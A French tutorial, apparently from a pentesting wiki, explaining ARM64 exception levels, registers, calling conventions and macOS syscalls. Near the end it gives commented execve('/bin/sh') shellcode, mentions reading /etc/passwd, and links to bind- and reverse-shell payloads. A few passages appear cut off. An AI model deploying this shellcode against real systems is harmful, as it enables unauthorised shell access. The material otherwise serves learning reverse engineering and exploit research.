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Dans l'architecture ARMv8, les niveaux d'exécution, connus sous le nom de Niveaux d'Exception (ELs), définissent le niveau de privilège et les capacités de l'environnement d'exécution. Il existe quatre niveaux d'exception, allant de EL0 à EL3, chacun ayant un objectif différent :
* C'est le niveau le moins privilégié et est utilisé pour exécuter le code d'application régulier.
* Les applications s'exécutant au niveau EL0 sont isolées les unes des autres et du logiciel système, améliorant la sécurité et la stabilité.
2.**EL1 - Mode Noyau du Système d'Exploitation** :
* La plupart des noyaux de systèmes d'exploitation fonctionnent à ce niveau.
* EL1 a plus de privilèges que EL0 et peut accéder aux ressources système, mais avec certaines restrictions pour assurer l'intégrité du système.
3.**EL2 - Mode Hyperviseur** :
* Ce niveau est utilisé pour la virtualisation. Un hyperviseur fonctionnant au niveau EL2 peut gérer plusieurs systèmes d'exploitation (chacun dans son propre EL1) fonctionnant sur le même matériel physique.
* EL2 offre des fonctionnalités pour l'isolation et le contrôle des environnements virtualisés.
4.**EL3 - Mode Moniteur Sécurisé** :
* C'est le niveau le plus privilégié et est souvent utilisé pour le démarrage sécurisé et les environnements d'exécution de confiance.
* EL3 peut gérer et contrôler les accès entre les états sécurisés et non sécurisés (comme le démarrage sécurisé, le système d'exploitation de confiance, etc.).
L'utilisation de ces niveaux permet une gestion structurée et sécurisée des différents aspects du système, des applications utilisateur au logiciel système le plus privilégié. L'approche d'ARMv8 en matière de niveaux de privilège aide à isoler efficacement les différents composants du système, renforçant ainsi la sécurité et la robustesse du système.
ARM64 dispose de **31 registres à usage général**, étiquetés de `x0` à `x30`. Chacun peut stocker une valeur de **64 bits** (8 octets). Pour les opérations qui nécessitent uniquement des valeurs de 32 bits, les mêmes registres peuvent être accédés en mode 32 bits en utilisant les noms w0 à w30.
1.**`x0`** à **`x7`** - Ils sont généralement utilisés comme registres temporaires et pour passer des paramètres aux sous-routines.
* **`x0`** transporte également les données de retour d'une fonction
2.**`x8`** - Dans le noyau Linux, `x8` est utilisé comme numéro d'appel système pour l'instruction `svc`. **Dans macOS, c'est le x16 qui est utilisé !**
3.**`x9`** à **`x15`** - Autres registres temporaires, souvent utilisés pour les variables locales.
4.**`x16`** et **`x17`** - **Registres d'appel intraprocedure**. Registres temporaires pour les valeurs immédiates. Ils sont également utilisés pour les appels de fonction indirects et les stubs de la Table de Liaison de Procédure (PLT).
* **`x16`** est utilisé comme **numéro d'appel système** pour l'instruction **`svc`** dans **macOS**.
5.**`x18`** - **Registre de plateforme**. Il peut être utilisé comme registre à usage général, mais sur certaines plateformes, ce registre est réservé à des utilisations spécifiques à la plateforme : Pointeur vers le bloc d'environnement de thread actuel dans Windows, ou pour pointer vers la structure de tâche en cours d'exécution dans le noyau Linux.
6.**`x19`** à **`x28`** - Ce sont des registres sauvegardés par l'appelé. Une fonction doit préserver les valeurs de ces registres pour son appelant, donc elles sont stockées dans la pile et récupérées avant de revenir à l'appelant.
7.**`x29`** - **Pointeur de cadre** pour suivre la trame de pile. Lorsqu'un nouveau cadre de pile est créé parce qu'une fonction est appelée, le registre **`x29`** est **stocké dans la pile** et la nouvelle adresse du pointeur de cadre (**`sp`** adresse) est **stockée dans ce registre**.
* Ce registre peut également être utilisé comme **registre à usage général** bien qu'il soit généralement utilisé comme référence aux **variables locales**.
8.**`x30`** ou **`lr`**- **Registre de lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est exécutée en stockant la valeur de **`pc`** dans ce registre.
10.**`pc`** - **Compteur de programme**, qui pointe vers l'instruction suivante. Ce registre ne peut être mis à jour que par la génération d'exceptions, les retours d'exception et les branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse de **`pc`** dans **`lr`** (Registre de Lien).
11.**`xzr`** - **Registre zéro**. Aussi appelé **`wzr`** dans sa forme de registre **32 bits**. Peut être utilisé pour obtenir facilement la valeur zéro (opération courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** en stockant les données résultantes nulle part (dans **`xzr`**).
De plus, il existe **32 autres registres de 128 bits** qui peuvent être utilisés dans des opérations SIMD (single instruction multiple data) optimisées et pour effectuer des calculs en virgule flottante. Ceux-ci sont appelés les registres Vn bien qu'ils puissent également fonctionner en **64 bits**, **32 bits**, **16 bits** et **8 bits** et sont alors appelés **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
**il y a des centaines de registres système**, également appelés registres à usage spécial (SPRs), qui sont utilisés pour **surveiller** et **contrôler** le **comportement des processeurs**.\
Ils ne peuvent être lus ou définis qu'à l'aide de l'instruction spéciale dédiée **`mrs`** et **`msr`**.
Les registres spéciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment utilisés lors de l'ingénierie inverse. Le suffixe `EL0` indique le **niveau d'exception minimal** à partir duquel le registre peut être accédé (dans ce cas, EL0 est le niveau d'exception (privilège) régulier avec lequel les programmes réguliers fonctionnent).\
Ils sont souvent utilisés pour stocker l'**adresse de base de la région de stockage local du thread** en mémoire. Habituellement, le premier est lisible et inscriptible pour les programmes fonctionnant en EL0, mais le second peut être lu à partir de EL0 et écrit à partir de EL1 (comme le noyau).
**PSTATE** contient plusieurs composants de processus sérialisés dans le registre spécial visible par le système d'exploitation **`SPSR_ELx`**, X étant le **niveau de permission de l'exception déclenchée** (cela permet de récupérer l'état du processus lorsque l'exception se termine).\
* Les drapeaux de condition **`N`**, **`Z`**, **`C`** et **`V`** :
* **`N`** signifie que l'opération a donné un résultat négatif
* **`Z`** signifie que l'opération a donné zéro
* **`C`** signifie que l'opération a porté
* **`V`** signifie que l'opération a donné un débordement signé :
* La somme de deux nombres positifs donne un résultat négatif.
* La somme de deux nombres négatifs donne un résultat positif.
* En soustraction, lorsqu'un grand nombre négatif est soustrait d'un plus petit nombre positif (ou vice versa), et que le résultat ne peut pas être représenté dans la plage de la taille de bit donnée.
* Le drapeau de **largeur de registre actuelle (`nRW`)** : Si le drapeau a la valeur 0, le programme fonctionnera dans l'état d'exécution AArch64 une fois repris.
* Le **Niveau d'Exception actuel** (**`EL`**) : Un programme régulier fonctionnant en EL0 aura la valeur 0
* Le drapeau de **pas à pas unique** (**`SS`**) : Utilisé par les débogueurs pour effectuer un pas à pas unique en réglant le drapeau SS sur 1 à l'intérieur de **`SPSR_ELx`** par une exception. Le programme exécutera une étape et déclenchera une exception de pas à pas unique.
* Le drapeau d'état d'exception **illégal** (**`IL`**) : Il est utilisé pour marquer lorsqu'un logiciel privilégié effectue un transfert de niveau d'exception invalide, ce drapeau est réglé sur 1 et le processeur déclenche une exception d'état illégal.
* Si **`A`** est 1, cela signifie que des **aborts asynchrones** seront déclenchés. Le **`I`** configure pour répondre aux **Demandes d'Interruption Matérielles** (IRQs). et le F est lié aux **Demandes d'Interruption Rapides** (FIRs).
* Les drapeaux de sélection du **pointeur de pile** (**`SPS`**) : Les programmes privilégiés fonctionnant en EL1 et au-dessus peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du modèle utilisateur (par exemple, entre `SP_EL1` et `EL0`). Ce basculement est effectué en écrivant dans le registre spécial **`SPSel`**. Cela ne peut pas être fait à partir de EL0.
La convention d'appel ARM64 spécifie que les **huit premiers paramètres** d'une fonction sont passés dans les registres **`x0` à `x7`**. Les **paramètres supplémentaires** sont passés sur la **pile**. La **valeur de retour** est renvoyée dans le registre **`x0`**, ou dans **`x1`** également **si elle fait 128 bits**. Les registres **`x19`** à **`x30`** et **`sp`** doivent être **préservés** lors des appels de fonction.
Lors de la lecture d'une fonction en assembleur, recherchez le **prologue et l'épilogue de la fonction**. Le **prologue** implique généralement de **sauvegarder le pointeur de cadre (`x29`)**, de **mettre en place un nouveau pointeur de cadre**, et d'**allouer de l'espace sur la pile**. L'**épilogue** implique généralement de **restaurer le pointeur de cadre sauvegardé** et de **retourner** de la fonction.
Swift a sa propre **convention d'appel** qui peut être trouvée sur [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Les instructions ARM64 ont généralement le **format `opcode dst, src1, src2`**, où **`opcode`** est l'**opération** à effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** où le résultat sera stocké, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs immédiates peuvent également être utilisées à la place des registres source.
* **`ldp`** : **Charger une paire de registres**. Cette instruction **charge deux registres** à partir d'**emplacements mémoire consécutifs**. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur dans un autre registre.
* Exemple : `ldp x0, x1, [x2]` — Cela charge `x0` et `x1` des emplacements mémoire à `x2` et `x2 + 8`, respectivement.
* **`stp`** : **Stocker une paire de registres**. Cette instruction **stocke deux registres** dans des **emplacements mémoire consécutifs**. L'adresse mémoire est généralement formée en ajoutant un décalage à la valeur dans un autre registre.
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut fonctionner dans **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`l'interfonctionnement`**.\
Les programmes 64 bits **privilégiés** peuvent planifier l'**exécution de programmes 32 bits** en exécutant un transfert de niveau d'exception vers le 32 bits moins privilégié.\
Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela se fait en réglant le **bit 4 du****`SPSR_ELx`** registre spécial **à 1** lorsque le fil d'exécution du processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke le CPSR des programmes **`AArch32`**. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe à **`AArch32`** en entrant en A32 ou T32 selon le CPSR**.**
L'**`interfonctionnement`** se produit en utilisant les bits J et T du CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le réglage du **bit le plus bas à 1** pour indiquer que le jeu d'instructions est T32.\
Cela est réglé lors des **instructions de branchement d'interfonctionnement**, mais peut également être réglé directement avec d'autres instructions lorsque le PC est défini comme le registre de destination. Exemple :
Un autre exemple :
```armasm
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
```
### Registres
Il y a 16 registres de 32 bits (r0-r15). **De r0 à r14**, ils peuvent être utilisés pour **toute opération**, cependant certains d'entre eux sont généralement réservés :
* **`r15`** : Compteur de programme (toujours). Contient l'adresse de l'instruction suivante. En A32 actuel + 8, en T32, actuel + 4.
* **`r11`** : Pointeur de cadre
* **`r12`** : Registre d'appel intra-procédural
* **`r13`** : Pointeur de pile
* **`r14`** : Registre de lien
De plus, les registres sont sauvegardés dans des **`registres bancaires`**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer des **changements de contexte rapides** dans la gestion des exceptions et les opérations privilégiées pour éviter de devoir sauvegarder et restaurer manuellement les registres à chaque fois.\
Cela se fait en **sauvegardant l'état du processeur du `CPSR` au `SPSR`** du mode de processeur dans lequel l'exception est prise. Lors du retour de l'exception, le **`CPSR`** est restauré à partir du **`SPSR`**.
### CPSR - Registre d'état du programme actuel
En AArch32, le CPSR fonctionne de manière similaire à **`PSTATE`** en AArch64 et est également stocké dans **`SPSR_ELx`** lorsqu'une exception est prise pour restaurer plus tard l'exécution :
* Registre d'état du programme d'application (APSR) : Drapeaux arithmétiques et accessibles depuis EL0
* Registres d'état d'exécution : Comportement du processus (géré par le système d'exploitation).
#### Registre d'état du programme d'application (APSR)
* Les drapeaux **`N`**, **`Z`**, **`C`**, **`V`** (tout comme en AArch64)
* Le drapeau **`Q`** : Il est mis à 1 chaque fois qu'une **saturation entière se produit** pendant l'exécution d'une instruction arithmétique de saturation spécialisée. Une fois qu'il est mis à **`1`**, il maintiendra la valeur jusqu'à ce qu'il soit manuellement remis à 0. De plus, il n'y a aucune instruction qui vérifie sa valeur implicitement, cela doit être fait en la lisant manuellement.
***`GE`** (Supérieur ou égal) Drapeaux : Il est utilisé dans les opérations SIMD (Single Instruction, Multiple Data), telles que "addition parallèle" et "soustraction parallèle". Ces opérations permettent de traiter plusieurs points de données dans une seule instruction.
Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (de deux opérandes de 32 bits) en parallèle et stocke les résultats dans un registre de 32 bits. Elle **définit ensuite les drapeaux `GE` dans l'`APSR`** en fonction de ces résultats. Chaque drapeau GE correspond à l'une des additions d'octets, indiquant si l'addition pour cette paire d'octets **a débordé**.
L'instruction **`SEL`** utilise ces drapeaux GE pour effectuer des actions conditionnelles.
#### Registres d'état d'exécution
* Les bits **`J`** et **`T`** : **`J`** doit être 0 et si **`T`** est 0, l'ensemble d'instructions A32 est utilisé, et s'il est 1, le T32 est utilisé.
* **Registre d'état du bloc IT** (`ITSTATE`) : Ce sont les bits de 10 à 15 et de 25 à 26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé par **`IT`**.
* Le bit **`E`** : Indique l'**endianness**. 
* **Bits de masque de mode et d'exception** (0-4) : Ils déterminent l'état d'exécution actuel. Le **5ème** indique si le programme s'exécute en 32 bits (un 1) ou en 64 bits (un 0). Les 4 autres représentent le **mode d'exception actuellement utilisé** (lorsqu'une exception se produit et qu'elle est gérée). Le numéro défini **indique la priorité actuelle** au cas où une autre exception est déclenchée pendant que celle-ci est gérée.
* **`AIF`** : Certaines exceptions peuvent être désactivées en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est 1, cela signifie que des **aborts asynchrones** seront déclenchés. Le **`I`** configure pour répondre aux **Demandes d'interruption matérielles externes** (IRQs). et le F est lié aux **Demandes d'interruption rapides** (FIRs).
Consultez [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Les appels système BSD auront **x16 > 0**.
Consultez [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html). Les pièges Mach auront **x16 < 0**, donc vous devez appeler les numéros de la liste précédente avec un **moins** : **`_kernelrpc_mach_vm_allocate_trap`** est **`-10`**.
Parfois, il est plus facile de vérifier le code **décompilé** de **`libsystem_kernel.dylib`** **que** de consulter le **code source** parce que le code de plusieurs appels système (BSD et Mach) est généré via des scripts (voir les commentaires dans le code source), tandis que dans la dylib, vous pouvez trouver ce qui est appelé.
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
; We are going to build the string "/bin/sh" and place it on the stack.
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
; Prepare arguments for the execve syscall.
mov x1, #8 ; Set x1 to 8.
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
; Make the syscall.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
L'objectif est d'exécuter `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, donc le deuxième argument (x1) est un tableau de paramètres (ce qui en mémoire signifie une pile des adresses).
Coquille de liaison depuis [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sur le **port 4444**
Depuis [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell vers **127.0.0.1:4444**
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